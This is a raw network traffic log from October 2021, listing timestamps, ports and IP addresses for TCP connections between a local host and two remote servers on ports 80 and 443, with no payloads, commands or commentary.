Oct 29, 2021 14:10:08.938613892 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938656092 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938664913 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.938709974 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.938760996 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.940222025 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.940264940 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.940305948 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.940337896 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:08.940361977 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:08.940445900 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007122040 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007180929 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007211924 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007246017 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007299900 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007299900 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007327080 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007368088 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007414103 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007431984 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007469893 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007512093 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007548094 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007559061 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007606030 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007649899 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007652044 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007709026 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007713079 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007764101 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007805109 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007822037 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007860899 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007903099 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007920027 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.007957935 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.007997990 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008018017 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008054018 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008095026 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008105040 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008150101 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008196115 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008222103 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008253098 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008295059 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008316994 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008351088 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008390903 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008416891 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008445978 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008487940 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008503914 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008543968 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008585930 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008601904 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008641005 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008683920 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008692980 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008738995 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008780003 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008788109 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008835077 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008896112 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.008913994 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008958101 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.008997917 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.009018898 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.009057045 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.009129047 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.077789068 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.077836990 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.077876091 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.077920914 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.077929020 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.077986956 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.077986956 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078038931 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078079939 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078092098 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078138113 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078177929 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078217030 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078238010 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078265905 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078274012 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078320026 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078357935 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078375101 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078413010 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078454018 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078470945 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078511953 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078557014 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078567028 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078610897 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078651905 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078661919 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078830004 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078872919 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078886032 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.078928947 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078974009 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.078994036 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079031944 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079072952 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079111099 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079138041 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079166889 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079169035 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079220057 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079262972 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079307079 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079309940 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079360962 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079400063 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079410076 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079456091 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079478025 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079514980 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079564095 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079566956 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079617023 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079657078 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079685926 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079710960 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079754114 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079797029 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079797983 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079849958 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079849958 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079901934 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079940081 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.079958916 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.079996109 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.080038071 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.080048084 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.080091000 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.080132008 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.080142975 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.080187082 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.080610991 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.146943092 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.146994114 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147028923 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147063017 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.147083044 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147130966 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147170067 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147207022 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.147223949 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147260904 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.147284031 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.147341013 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.148375034 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148417950 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148475885 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.148591995 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148631096 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148669004 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148688078 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.148725986 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148770094 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148809910 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148830891 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.148859024 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.148897886 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148940086 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148983002 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.148996115 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149039030 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149079084 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149112940 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149131060 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149178982 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149185896 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149235964 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149277925 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149297953 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149333954 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149375916 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149418116 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149420977 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149467945 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149508953 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149524927 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149565935 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149573088 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149621010 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149662018 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149677038 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149715900 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149756908 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149780035 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149813890 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149852991 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149874926 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.149908066 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149947882 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.149969101 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.150003910 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.150044918 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.150067091 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.150088072 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:09.150157928 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.150371075 CEST	49810	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:09.218848944 CEST	80	49810	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:10.002794981 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.002849102 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.003016949 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.077730894 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.077765942 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.118593931 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.120039940 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.121589899 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.121603966 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.121999979 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.230041027 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.698340893 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.740890980 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.769990921 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770231962 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770312071 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770371914 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.770391941 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770467043 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770539999 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770608902 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770683050 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770807028 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770858049 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.770872116 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.770884037 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.770889997 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.770944118 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771008968 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771043062 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771055937 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771115065 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771126032 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771188974 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771223068 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771234989 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771292925 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771318913 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771332026 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771393061 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771413088 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771425962 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771493912 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771508932 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771522045 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771589041 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771595001 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771609068 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771702051 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771760941 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771822929 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771884918 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771924973 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771935940 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.771948099 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.771997929 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772034883 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772047043 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772103071 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772162914 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772197962 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772209883 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772221088 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772269011 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772331953 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772366047 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772378922 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772433996 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772495031 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772532940 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772546053 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772557974 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772617102 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.772680044 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.772691011 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.774416924 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788134098 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788208008 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788343906 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788414955 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788431883 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788551092 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788598061 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788610935 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788642883 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788665056 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788726091 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788738012 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788749933 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788757086 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788822889 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.788835049 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.788918972 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789004087 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789042950 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789055109 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789066076 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789083958 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789143085 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789155006 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789172888 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789288998 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789323092 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789335012 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789371014 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789407015 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789417028 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789424896 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789453983 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789513111 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789525032 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789544106 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789673090 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789707899 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789719105 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.789730072 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.789753914 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.790072918 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.790086031 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.790373087 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.806821108 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.806921959 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.806943893 CEST	49811	443	192.168.2.3	162.159.135.233
Oct 29, 2021 14:10:10.806958914 CEST	443	49811	162.159.135.233	192.168.2.3
Oct 29, 2021 14:10:10.806971073 CEST	49811	443	192.168.2.3	162.159.135.233
